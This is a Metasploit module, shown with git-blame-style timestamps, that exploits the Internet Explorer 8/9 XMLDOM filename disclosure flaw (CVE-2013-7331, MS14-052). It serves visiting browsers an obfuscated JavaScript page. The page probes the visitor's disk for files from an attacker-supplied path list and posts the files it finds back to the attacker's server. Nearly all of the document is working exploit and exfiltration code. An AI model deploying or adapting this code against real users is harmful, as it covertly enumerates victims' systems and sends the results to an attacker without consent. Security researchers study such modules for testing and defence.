2015-03-27 02:53:26 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2015-03-30 15:52:01 +00:00
require 'msf/core/exploit/jsobfu'
2015-03-27 02:53:26 +00:00
class Metasploit3 < Msf :: Auxiliary
include Msf :: Exploit :: Remote :: HttpServer :: HTML
2015-03-30 15:52:01 +00:00
include Msf :: Exploit :: JSObfu
2015-03-27 02:53:26 +00:00
def initialize ( info = { } )
super ( update_info ( info ,
2015-03-27 04:29:44 +00:00
'Name' = > " MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure " ,
2015-03-27 02:53:26 +00:00
'Description' = > %q{
2015-03-31 16:02:12 +00:00
This module will use the Microsoft XMLDOM object to enumerate a remote machine ' s filenames .
2015-03-27 07:31:36 +00:00
It will try to do so against Internet Explorer 8 and Internet Explorer 9 . To use it , you
2015-03-31 16:02:12 +00:00
must supply your own list of file paths . Each file path should look like this :
2015-03-27 03:49:22 +00:00
c : \ \ \ \ windows \ \ \ \ system32 \ \ \ \ calc . exe
2015-03-27 02:53:26 +00:00
} ,
'License' = > MSF_LICENSE ,
2015-03-27 04:36:16 +00:00
'Author' = >
[
'Soroush Dalili' , # @irsdl - Original discovery. MSF module is from his PoC
'sinn3r'
] ,
2015-03-27 02:53:26 +00:00
'References' = >
[
2015-03-27 03:49:22 +00:00
[ 'CVE' , '2013-7331' ] ,
2015-03-30 15:58:08 +00:00
[ 'MSB' , 'MS14-052' ] ,
2015-03-27 03:49:22 +00:00
[ 'URL' , 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ] ,
[ 'URL' , 'https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ]
2015-03-27 02:53:26 +00:00
] ,
'Platform' = > 'win' ,
'Targets' = >
[
2015-03-27 07:31:36 +00:00
[ 'Internet Explorer 8 / Internet Explorer 9' , { } ] ,
2015-03-27 02:53:26 +00:00
] ,
2015-03-27 03:49:22 +00:00
'DisclosureDate' = > " Sep 9 2014 " , # MSB. Used in the wild since Feb 2014
2015-03-27 02:53:26 +00:00
'DefaultTarget' = > 0 ) )
2015-03-27 03:49:22 +00:00
register_options (
[
OptPath . new ( 'FILES' , [ true , 'A list of files to enumerate. One absolute file path per line.' ] )
] , self . class
)
2015-03-27 02:53:26 +00:00
end
def js
2015-03-27 03:49:22 +00:00
target_files = parse_target_files
js_target_files = target_files * ','
2015-03-27 02:53:26 +00:00
% Q |
2015-03-27 03:49:22 +00:00
#{js_ajax_post}
2015-03-27 07:26:50 +00:00
var RESULTS = {
UNKNOWN : { value : 0 , message : " Unknown! " , color : " black " , data : " " } ,
BADBROWSER : { value : 1 , message : " Browser is not supported. You need IE! " , color : " black " , data : " " } ,
FILEFOUND : { value : 2 , message : " File was found! " , color : " green " , data : " " } ,
FOLDERFOUND : { value : 3 , message : " Folder was found! " , color : " green " , data : " " } ,
NOTFOUND : { value : 4 , message : " Object was not found! " , color : " red " , data : " " } ,
ALIVE : { value : 5 , message : " Alive address! " , color : " green " , data : " " } ,
MAYBEALIVE : { value : 6 , message : " Maybe an alive address! " , color : " blue " , data : " " } ,
DEAD : { value : 7 , message : " Dead to me! Undetectable? " , color : " red " , data : " " } ,
VALIDDRIVE : { value : 8 , message : " Available Drive! " , color : " green " , data : " " } ,
INVALIDDRIVE : { value : 9 , message : " Unavailable Drive! " , color : " red " , data : " " }
} ;
function validateXML ( txt ) {
var result = RESULTS . UNKNOWN ;
if ( window . ActiveXObject ) {
var xmlDoc = new ActiveXObject ( " Microsoft.XMLDOM " ) ;
xmlDoc . async = true ;
try {
xmlDoc . loadXML ( txt ) ;
if ( xmlDoc . parseError . errorCode != 0 ) {
var err ;
err = " Error Code: " + xmlDoc . parseError . errorCode + " \\ n " ;
err += " Error Reason: " + xmlDoc . parseError . reason ;
err += " Error Line: " + xmlDoc . parseError . line ;
var errReason = xmlDoc . parseError . reason . toLowerCase ( ) ;
if ( errReason . search ( 'access is denied' ) > = 0 ) {
result = RESULTS . ALIVE ;
} else if ( errReason . search ( 'the system cannot locate the object' ) > = 0 \ | \ | errReason . search ( 'the system cannot find the file' ) > = 0 \ | \ | errReason . search ( 'the network path was not found' ) > = 0 ) {
result = RESULTS . NOTFOUND ;
} else if ( errReason! = '' ) {
result = RESULTS . FILEFOUND ;
} else {
result = RESULTS . UNKNOWN ; / / No Error ? Unknown !
} ;
} else {
result = RESULTS . FILEFOUND ;
}
} catch ( e ) {
result = RESULTS . FOLDERFOUND ;
}
} else {
result = RESULTS . BADBROWSER ;
}
result . data = " " ;
return result ;
} ;
function checkFiles ( files ) {
var foundFiles = new Array ( ) ;
/ / the first one is for all drives , the others are for the C drive only!
var preMagics = [ " res:// " , " \\ \\ \\ \\ localhost \\ \\ " , " file: \\ \\ \\ \\ localhost \\ \\ " , " file: \\ \\ " ] ;
/ / or any other irrelevant ADS ! - we do not need this when we use Res : / /
var postMagics = [ " ::$index_allocation " ] ;
var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">' ;
for ( var i = 0 ; i < files . length ; i + + ) {
var filename = files [ i ] ;
if ( filename != '' ) {
filename = preMagics [ 0 ] + filename ; / / postMagics can be used too!
var result = validateXML ( templateString . replace ( " $target$ " , filename ) ) ;
if ( result == RESULTS . FOLDERFOUND \ | \ | result == RESULTS . ALIVE ) result = RESULTS . UNKNOWN ;
result . data = filename ;
if ( result . message . search ( / file was found /i ) > - 1 ) {
var trimmedFilename = result . data ;
for ( var prem in preMagics ) { trimmedFilename = trimmedFilename . replace ( preMagics [ prem ] , '' ) ; }
for ( var postm in postMagics ) { trimmedFilename = trimmedFilename . replace ( postMagics [ postm ] , '' ) ; }
foundFiles . push ( trimmedFilename ) ;
}
}
}
return foundFiles ;
} ;
2015-03-27 03:49:22 +00:00
var foundFileString = " " ;
2015-03-27 02:53:26 +00:00
window . onload = function ( ) {
2015-03-27 03:49:22 +00:00
var files = [ #{js_target_files}];
2015-03-27 07:26:50 +00:00
var foundFiles = checkFiles ( files ) ;
2015-03-27 03:49:22 +00:00
for ( var file in foundFiles ) {
foundFileString += foundFiles [ file ] + " \ | " ;
2015-03-27 02:53:26 +00:00
}
2015-03-27 03:49:22 +00:00
postInfo ( " #{ get_resource } /receiver/ " , foundFileString , true ) ;
2015-03-27 02:53:26 +00:00
} ;
|
end
def html
2015-03-30 15:52:01 +00:00
new_js = js_obfuscate ( js )
2015-03-27 02:53:26 +00:00
% Q |
< html >
< head >
< / head>
< body >
< script >
2015-03-30 15:52:01 +00:00
#{new_js}
2015-03-27 02:53:26 +00:00
< / script>
< / body>
< / html>
|
end
def run
exploit
end
2015-03-27 03:49:22 +00:00
def parse_found_files ( cli , req )
return if req . body . blank?
files = req . body . split ( '|' )
unless files . empty?
print_good ( " We have detected the following files: " )
files . each do | f |
report_note ( host : cli . peerhost , type : 'ie.filenames' , data : f )
print_good ( f )
end
end
end
def parse_target_files
@files || = lambda {
files = [ ]
buf = :: File . open ( datastore [ 'FILES' ] , 'rb' ) { | f | buf = f . read }
buf . each_line do | line |
if line =~ / ^[a-z]: \\ \\ .+ /i
files << " ' #{ line . strip } ' "
end
end
return files
} . call
end
def is_target_suitable? ( user_agent )
info = fingerprint_user_agent ( user_agent )
2015-03-27 07:30:04 +00:00
if info [ :ua_name ] == HttpClients :: IE && ( info [ :ua_ver ] == '8.0' || info [ :ua_ver ] == '9.0' )
2015-03-27 03:49:22 +00:00
return true
end
2015-03-27 07:30:04 +00:00
false
2015-03-27 03:49:22 +00:00
end
def on_request_uri ( cli , req )
unless is_target_suitable? ( req . headers [ 'User-Agent' ] )
send_not_found ( cli )
return
end
case req . uri
when / receiver /
parse_found_files ( cli , req )
else
print_status ( " Sending HTML. " )
send_response ( cli , html )
end
2015-03-27 02:53:26 +00:00
end
end